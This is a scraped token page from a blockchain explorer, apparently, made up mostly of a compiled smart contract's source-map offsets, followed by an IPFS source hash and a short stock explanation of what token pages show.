:5;2929:31;:::i;2995:388::-;3063:6;3071;3124:2;3112:9;3103:7;3099:23;3095:32;3092:52;;;3140:1;3137;3130:12;3092:52;3179:9;3166:23;3198:31;3223:5;3198:31;:::i;:::-;3248:5;-1:-1:-1;3305:2:1;3290:18;;3277:32;3318:33;3277:32;3318:33;:::i;:::-;3370:7;3360:17;;;2995:388;;;;;:::o;3388:380::-;3467:1;3463:12;;;;3510;;;3531:61;;3585:4;3577:6;3573:17;3563:27;;3531:61;3638:2;3630:6;3627:14;3607:18;3604:38;3601:161;;3684:10;3679:3;3675:20;3672:1;3665:31;3719:4;3716:1;3709:15;3747:4;3744:1;3737:15;3601:161;;3388:380;;;:::o;3773:251::-;3843:6;3896:2;3884:9;3875:7;3871:23;3867:32;3864:52;;;3912:1;3909;3902:12;3864:52;3944:9;3938:16;3963:31;3988:5;3963:31;:::i;4950:306::-;5038:6;5046;5054;5107:2;5095:9;5086:7;5082:23;5078:32;5075:52;;;5123:1;5120;5113:12;5075:52;5152:9;5146:16;5136:26;;5202:2;5191:9;5187:18;5181:25;5171:35;;5246:2;5235:9;5231:18;5225:25;5215:35;;4950:306;;;;;:::o;5540:277::-;5607:6;5660:2;5648:9;5639:7;5635:23;5631:32;5628:52;;;5676:1;5673;5666:12;5628:52;5708:9;5702:16;5761:5;5754:13;5747:21;5740:5;5737:32;5727:60;;5783:1;5780;5773:12;7331:127;7392:10;7387:3;7383:20;7380:1;7373:31;7423:4;7420:1;7413:15;7447:4;7444:1;7437:15;7463:125;7528:9;;;7549:10;;;7546:36;;;7562:18;;:::i;7954:175::-;7991:3;8035:4;8028:5;8024:16;8064:4;8055:7;8052:17;8049:43;;8072:18;;:::i;:::-;8121:1;8108:15;;7954:175;-1:-1:-1;;7954:175:1:o;8266:127::-;8327:10;8322:3;8318:20;8315:1;8308:31;8358:4;8355:1;8348:15;8382:4;8379:1;8372:15;8398:980;8660:4;8708:3;8697:9;8693:19;8739:6;8728:9;8721:25;8765:2;8803:6;8798:2;8787:9;8783:18;8776:34;8846:3;8841:2;8830:9;8826:18;8819:31;8870:6;8905;8899:13;8936:6;8928;8921:22;8974:3;8963:9;8959:19;8952:26;;9013:2;9005:6;9001:15;8987:29;;9034:1;9044:195;9058:6;9055:1;9052:13;9044:195;;;9123:13;;-1:-1:-1;;;;;9119:39:1;9107:52;;9214:15;;;;9179:12;;;;9155:1;9073:9;9044:195;;;-1:-1:-1;;;;;;;9295:32:1;;;;9290:2;9275:18;;9268:60;-1:-1:-1;;;9359:3:1;9344:19;9337:35;9256:3;8398:980;-1:-1:-1;;;8398:980:1:o;9383:128::-;9450:9;;;9471:11;;;9468:37;;;9485:18;;:::i;9516:168::-;9589:9;;;9620;;9637:15;;;9631:22;;9617:37;9607:71;;9658:18;;:::i;9689:217::-;9729:1;9755;9745:132;;9799:10;9794:3;9790:20;9787:1;9780:31;9834:4;9831:1;9824:15;9862:4;9859:1;9852:15;9745:132;-1:-1:-1;9891:9:1;;9689:217::o
Swarm Source
ipfs://a37a9d8d2f13596ad2af3557f01726af97aae432150fa9f9839c84fabb8b14ef
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.